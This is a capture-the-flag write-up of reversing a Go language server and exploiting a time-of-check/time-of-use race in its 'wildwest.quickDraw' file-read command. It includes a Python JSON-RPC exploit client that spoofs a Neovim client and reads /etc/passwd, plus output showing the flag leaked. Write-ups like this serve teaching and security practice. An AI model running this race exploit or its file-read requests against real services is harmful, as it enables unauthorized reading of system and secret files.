Post

Sheriff Says

The Sheriff steps into the square, hand twitchin’ near his holster, eyes locked on your repo. He’s seen the warnings—and he don’t take kindly to ‘em. Fire up your IDE, fix what’s broken, and make damn sure your code don’t flinch… ‘cause justice don’t wait, and neither does he.


Overview

The README.md says:

1
2
3
Use Neovim

`nvim -u ./init.lua <file.go>`

After launching the binary and opening a file with nvim -u ./init.lua <file.go>, the server outputs logs like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Wild West LSP server listening on port 9999
Received method: initialize
Initializing LSP server...
Client verification - Name: Neovim, Version: 0.10.2, IsNeovim: true
Neovim client verified, proceeding with initialization
Received method: initialized
Received method: textDocument/didOpen
Received method: textDocument/didSave
Publishing 0 diagnostics for file:///home/h/Downloads/wow.go
Received method: textDocument/didChange
Skipping fix tracking - empty text
Received method: textDocument/didChange
Failed to parse old text: 1:1: expected 'package', found i (and 2 more errors)
Received method: textDocument/didChange
Failed to parse old text: 1:1: expected 'package', found ii (and 2 more errors)
[DEBUG] scheduleDiagnosticsUpdate for file:///home/h/Downloads/wow.go: version=3, isDirty=true, lastGood="\n", text="iiiiiii\n"
Publishing 0 diagnostics for file:///home/h/Downloads/wow.go
Received method: textDocument/didChange
Failed to parse old text: 1:1: expected 'package', found iiiiiii (and 2 more errors)
Received method: textDocument/didChange
Failed to parse old text: 1:1: expected 'package', found iiiiii (and 2 more errors)
Received method: textDocument/didChange
Skipping fix tracking - empty text
[DEBUG] scheduleDiagnosticsUpdate for file:///home/h/Downloads/wow.go: version=6, isDirty=true, lastGood="\n", text="\n"
Publishing 0 diagnostics for file:///home/h/Downloads/wow.go

It appears to be an LSP server, let’s take a look at it.

Initial Analysis

Once we open this in IDA, we are dropped into main, which contains network and mutex stuff. Browsing the main functions, we can see a main__ptr_Server_Handle function with a weird string: security restriction: cannot access files with 'flag' in the name. Scrolling up we see the string Command: %s with %d arguments\n which appears to be for the LSP server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
      v187 = "Command: %s with %d arguments\n";
      v188 = 30LL;
      v190.array = (interface__0 *)v339;
      v190.len = 2LL;
      v190.cap = 2LL;
      fmt_Fprintf(v405, *(string_0 *)(&v188 - 1), v190, v189, optsd);
      (...)
	    v406.data = (void *)os_Stderr;
        v406.tab = (internal_abi_ITab *)&go_itab__ptr_os_File_comma_io_Writer;
        v194 = "First argument: %v\n";
        v188 = 19LL;
        v190.array = (interface__0 *)&a;
        v190.len = 1LL;
        v190.cap = 1LL;
        fmt_Fprintf(v406, *(string_0 *)(&v188 - 1), v190, (int)v192, *(error_0 *)opts);
		(...)
		  v199 = "Second argument: %v\n";
          v188 = 20LL;
          v190.array = (interface__0 *)&a;
          v190.len = 1LL;
          v190.cap = 1LL;
          fmt_Fprintf(v407, *(string_0 *)(&v188 - 1), v190, (int)v197, *(error_0 *)opts);
			v203 = "Third argument (line content): %v\n";
            v188 = 34LL;
            v190.array = (interface__0 *)&a;
            v190.len = 1LL;
            v190.cap = 1LL;
            fmt_Fprintf(v408, *(string_0 *)(&v188 - 1), v190, (int)v201, *(error_0 *)opts);

The decompilation breaks after this, so we have to look at the assembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mov     rax, [rdx]
lea     rbx, aWildwestQuickd ; "wildwest.quickDraw"
mov     ecx, 12h
call    runtime_memequal
nop     word ptr [rax+rax+00h]
test    al, al
jz      loc_54C58E // control flow goes to the next mov (eventually) if equal
(...)
mov     cs:main_err.tab, 0 // keep in mind this is a global variable on a multi-threaded application 
(...)
mov     rax, [rsp+2A0h+s] ; s
xchg    ax, ax
call    main__ptr_Server_hasFixedWarning
test    al, al
jz      loc_54C515 // only execute if a warning has been fixed
(...)
test    r12b, r12b // v218 = !UseFileSystem;
jmp     short loc_54C359
loc_54C359:
jz      short readfile_flag_check

Essentially, we have to execute the LSP command “wildwest.quickDraw” on the server, before that we also have to fix a warning and set the UseFileSystem in the config. If we get pass all of this we are faced with the next check:

1
2
3
4
5
6
7
nop     dword ptr [rax+rax+00h]
call    strings_ToLower
lea     rcx, aFlag_2    ; substr
mov     edi, 4          ; substr
call    internal_stringslite_Index
test    rax, rax
jl      readfile

This jumps to the read file function if the string “flag” is not in the first argument of wildwest.quickDraw command. If the string is in the file, it jumps to this piece of code:

1
2
3
4
5
6
7
8
9
lea     rax, aSecurityRestri ; format
mov     ebx, 41h ; 'A'  ; format
xor     ecx, ecx        ; a
xor     edi, edi        ; a
mov     rsi, rdi        ; a
call    fmt_Errorf
mov     cs:main_err.tab, rax // globally set variable
cmp     dword ptr cs:runtime_writeBarrier.enabled, 0
jz      short loc_54C3BA

The interesting part is that, after the flag check fails, it executes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
          for ( i = 0LL; i < 1000000000; i = v221 + 1 )
          {
            v221 = i;
            if ( i == 100000000
                    * ((__int64)(i + ((unsigned __int128)(i * (__int128)(__int64)0xABCC77118461CEFDLL) >> 64)) >> 26) )
            {
              v312 = i;
              *(_OWORD *)&a.array = v4;
              runtime_convT64(i, (void *)v224);
              a.array = (interface__0 *)&RTYPE_int;
              a.len = v280;
              v224 = os_Stderr;
              v281 = &go_itab__ptr_os_File_comma_io_Writer;
              v282 = "🤠 Just a moment, partner! %d\n";
              v220 = 32LL;
              v190.array = (interface__0 *)&a;
              v190.len = 1LL;
              v190.cap = 1LL;
              fmt_Fprintf(*(io_Writer_0 *)(&v224 - 1), *(string_0 *)(&v220 - 1), v190, v283, *(error_0 *)opts);
              v221 = v312;
            }
          }

This introduces an artificial delay (note this for later). Finally, it jumps to the piece of code that it would have if the “flag” string was not in the argument:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( main_err.tab )
        {
          *(_OWORD *)&a.array = v4;
          v190.len = (int)main_err.data;
          a.array = (interface__0 *)main_err.tab->Type;
          a.len = (int)main_err.data;
          v416.str = (uint8 *)"🚫 Access denied: %v";
          v416.len = 22LL;
          p_a = &a;
          v275 = 1LL;
          v190.array = (interface__0 *)1;
          fmt_Sprintf(v416, *(_slice_interface__0 *)((char *)&v190 - 16), *(string_0 *)&v190.len);
          runtime_convTstring(v416, v276);
          v416.len = (int)ctxa;
          v277 = ctx_8;
          v384._type = (internal_abi_Type *)&RTYPE_string;
          v384.data = v416.str;
          github_com_sourcegraph_jsonrpc2__ptr_Conn_Reply(
            conn,
            *(context_Context_0 *)&v416.len,
            req->ID,
            v384,
            *(error_0 *)opts);
          return;
        }

Essentially, if flag is not in the first argument, main_err.tab is not set and this check passes. If the flag is in the first argument, this main_err.tab is set and this check fails (printing Access denied). If the check does not fail, it finally goes to this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        main_readFileContent(v417, *(string_0 *)&v221, *(error_0 *)&v190.array);
        v311 = (unsigned int)(int)v305;
        v278 = &old;
        v188 = 1LL;
        strings_genSplit(v417, *(string_0 *)(&v188 - 1), 0LL, -1LL, v396);
        if ( v295 <= (__int64)v311 )
        {
          v448.tab = ctxa;
          v448.data = ctx_8;
          v385._type = (internal_abi_Type *)&RTYPE_string;
          v385.data = &off_5E3E88;
          github_com_sourcegraph_jsonrpc2__ptr_Conn_Reply(conn, v448, req->ID, v385, *(error_0 *)opts);
          return;
        }

To summarize: this reads a file under specific conditions given it does not contain the string flag. But these conditions are perfect for a time of check time of use (TOCTOU) vulnerability:

  • Sets a global variable to indicate a failed check
  • Able to accept multiple connections at once
  • Large time delay, allowing us to overwrite a variable

Crafting a Working File Read

Claude+flocto did this part, essentially you fix a file and upload your own config. That sets UseFileSystem to True.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import json
import socket

class JsonRpcClient:
    def __init__(self, host='localhost', port=9999):
        self.host = host
        self.port = port
        self.socket = None
        self.request_id = 0

    def connect(self):
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.connect((self.host, self.port))
        return self

    def send_request(self, method, params=None, response_expected=True):
        self.request_id += 1
        request = {
            "jsonrpc": "2.0",
            "id": self.request_id,
            "method": method,
        }
        if params is not None:
            request["params"] = params

        serialized = json.dumps(request)
        content_length = len(serialized)
        headers = f"Content-Length: {content_length}\r\n\r\n"
        
        self.socket.sendall(headers.encode() + serialized.encode())
        if not response_expected:
            return
        return self.read_response()

    def read_response(self):
        # Read headers
        headers = b""
        while b"\r\n\r\n" not in headers:
            headers += self.socket.recv(1)
        
        # Parse Content-Length
        header_text = headers.decode('ascii')
        content_length = int(header_text.split('Content-Length: ')[1].split('\r\n')[0])
        
        # Read message body
        content = b""
        while len(content) < content_length:
            chunk = self.socket.recv(content_length - len(content))
            if not chunk:
                break
            content += chunk
        
        return json.loads(content.decode('utf-8'))

    def initialize(self, root_uri=None, capabilities=None):
        params = {
            "processId": None,
            "clientInfo": {
                "name": "neovim", # pretend to be neovim
                "version": "1.0.0"
            },
            "capabilities": capabilities or {}
        }
        if root_uri:
            params["rootUri"] = root_uri

        return self.send_request("initialize", params)

    def close(self):
        if self.socket:
            self.socket.close()
            self.socket = None


bad_file = '''
// test.go
package main

import "fmt"

// func test() {
// 	wr_bronco_sheriff := 1
// 	return wri_bronco_sheriff
	// this is a comment
// }


func shexiff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890() {
	temp := 1
	return temp
	// test
}
'''

good_file = '''
// test.go
package main

import "fmt"

// func test() {
// 	wr_bronco_sheriff := 1
// 	return wri_bronco_sheriff
	// this is a comment
// }


func sheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890() {
	temp := 1
	return temp
	// test
}
'''
if __name__ == "__main__":
    client = JsonRpcClient().connect()
    try:
        response = client.initialize()
        print("Initialization response:", response)
        
        # src_file = open('test.go', 'r').read()
        response = client.send_request("textDocument/didOpen", {
            "textDocument": {
                "uri": "file:///test.go",
                "languageId": "go",
                "version": 1,
                "text": bad_file
            }
        }, response_expected=False)

        # update to good file
        response = client.send_request("textDocument/didChange", {
            "textDocument": {
                "uri": "file:///test.go",
                "version": 2
            },
            "contentChanges": [{
                "text": good_file
            }]
        }, response_expected=True)

        # struct main.Config __packed
        # {
        #     bool EnforcePrefix;
        #     struct string
        #         RequiredPrefix;
        #     int MinimumNameLength;
        #     bool UseFileSystem;
        # ?? ?? ?? ?? ?? ?? ??
        # };

        response = client.send_request("workspace/executeCommand", {
            "Command": "wildwest.loadNewConfig",
            "Arguments": [{
                "EnforcePrefix": True,
                "RequiredPrefix": "a",
                "MinimumNameLength": 1,
                "UseFileSystem": True,
            }]
        })
        print("ExecuteCommand response:", response)

        diagnostics = client.read_response()
        print("Diagnostics response:", diagnostics)
        
        diagnostics = client.read_response()
        print("Diagnostics response:", diagnostics)

        response = client.send_request("workspace/executeCommand", {
            "Command": "wildwest.quickDraw",
            # Filename, LineNumber, ?
            "Arguments": ["/etc/passwd", 0, "hello there"]
        })
        print("ExecuteCommand response:", response)
        print(client.read_response())

        # shutdown
        response = client.send_request("shutdown", None)
        print("Shutdown response:", response)
    finally:
        client.close()

I am skipping over some stuff here, but the code is self explanatory.

Exploitation

Exploitation was as easy as running two versions of the above code twice, once with a normal file (/etc/passwd works) and one with “flag”. You run the one containing flag first, setting the error and triggering the delay, then you run the other file. File one (ran slightly after):

1
2
3
4
5
6
7
8
9
10
11
h@DESKTOP-TH1NKC3 ~/Downloads> python test.py
Host: 54.221.151.72
Port: 7003
Initialization response: {'id': 1, 'result': {'capabilities': {'textDocumentSync': 1, 'hoverProvider': True, 'renameProvider': True, 'completionProvider': {'resolveProvider': False, 'triggerCharacters': ['w', 'r', '_', 'f']}, 'executeCommandProvider': {'commands': ['wildwest.quickDraw']}}}, 'jsonrpc': '2.0'}
ExecuteCommand response: {'id': 4, 'result': '🤠 Loaded new config! Now prefix="a" minLen=1 enforce=true\n', 'jsonrpc': '2.0'}
Diagnostics response: {'jsonrpc': '2.0', 'method': 'textDocument/publishDiagnostics', 'params': {'uri': 'file:///test.go', 'diagnostics': [{'range': {'start': {'line': 12, 'character': 5}, 'end': {'line': 12, 'character': 73}}, 'severity': 2, 'message': "Wild West Warning: 'sheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890' should be renamed to 'asheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890_outlaw'.", 'source': 'WildWestCodeWrangler'}]}}
Diagnostics response: {'jsonrpc': '2.0', 'method': 'textDocument/publishDiagnostics', 'params': {'uri': 'file:///test.go', 'diagnostics': [{'range': {'start': {'line': 12, 'character': 5}, 'end': {'line': 12, 'character': 73}}, 'severity': 2, 'message': "Wild West Warning: 'sheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890' should be renamed to 'asheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890_outlaw'.", 'source': 'WildWestCodeWrangler'}]}}
ExecuteCommand response: {'jsonrpc': '2.0', 'method': 'window/showMessage', 'params': {'type': 3, 'message': "🤠 YEEHAW! That line's wilder than a buckin' bronco!\n\nYour line:\n> "}}
{'id': 5, 'result': "🤠 YEEHAW! That line's wilder than a buckin' bronco!\n\nYour line:\n> ", 'jsonrpc': '2.0'}

Shutdown response: {'id': 6, 'result': None, 'jsonrpc': '2.0'}

File two (ran slightly before but at the same time as the above file):

1
2
3
4
5
6
7
8
9
10
[h@DESKTOP-TH1NKC3:~/Downloads]$ python test2.py
Host: 54.221.151.72
Port: 7003
Initialization response: {'id': 1, 'result': {'capabilities': {'textDocumentSync': 1, 'hoverProvider': True, 'renameProvider': True, 'completionProvider': {'resolveProvider': False, 'triggerCharacters': ['w', 'r', '_', 'f']}, 'executeCommandProvider': {'commands': ['wildwest.quickDraw']}}}, 'jsonrpc': '2.0'}
ExecuteCommand response: {'id': 4, 'result': '🤠 Loaded new config! Now prefix="a" minLen=1 enforce=true\n', 'jsonrpc': '2.0'}
Diagnostics response: {'jsonrpc': '2.0', 'method': 'textDocument/publishDiagnostics', 'params': {'uri': 'file:///test.go', 'diagnostics': [{'range': {'start': {'line': 12, 'character': 5}, 'end': {'line': 12, 'character': 73}}, 'severity': 2, 'message': "Wild West Warning: 'sheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890' should be renamed to 'asheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890_outlaw'.", 'source': 'WildWestCodeWrangler'}]}}
Diagnostics response: {'jsonrpc': '2.0', 'method': 'textDocument/publishDiagnostics', 'params': {'uri': 'file:///test.go', 'diagnostics': [{'range': {'start': {'line': 12, 'character': 5}, 'end': {'line': 12, 'character': 73}}, 'severity': 2, 'message': "Wild West Warning: 'sheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890' should be renamed to 'asheriff_says_12345ABCDE67890abcde12345ABCDE67890abcde12345ABCDE67890_outlaw'.", 'source': 'WildWestCodeWrangler'}]}}
ExecuteCommand response: {'jsonrpc': '2.0', 'method': 'window/showMessage', 'params': {'type': 3, 'message': "🤠 Howdy partner! That's some mighty fine syntax you got there!\n\nYour line:\n> PCTF{sh3riFF_$4y$_y0uR_c0D3_1$_cL34N_dd323724983c}"}}
{'id': 5, 'result': "🤠 Howdy partner! That's some mighty fine syntax you got there!\n\nYour line:\n> PCTF{sh3riFF_$4y$_y0uR_c0D3_1$_cL34N_dd323724983c}", 'jsonrpc': '2.0'}
Shutdown response: {'id': 6, 'result': None, 'jsonrpc': '2.0'}

Conclusion

This was a golang LSP server with a custom command allowing for file reading under certain conditions. In order to bypass the filter disallowing the reading of the flag file we exploit a race condition and get the flag:

PCTF{sh3riFF_$4y$_y0uR_c0D3_1$_cL34N_dd323724983c}

This post is licensed under CC BY 4.0 by the author.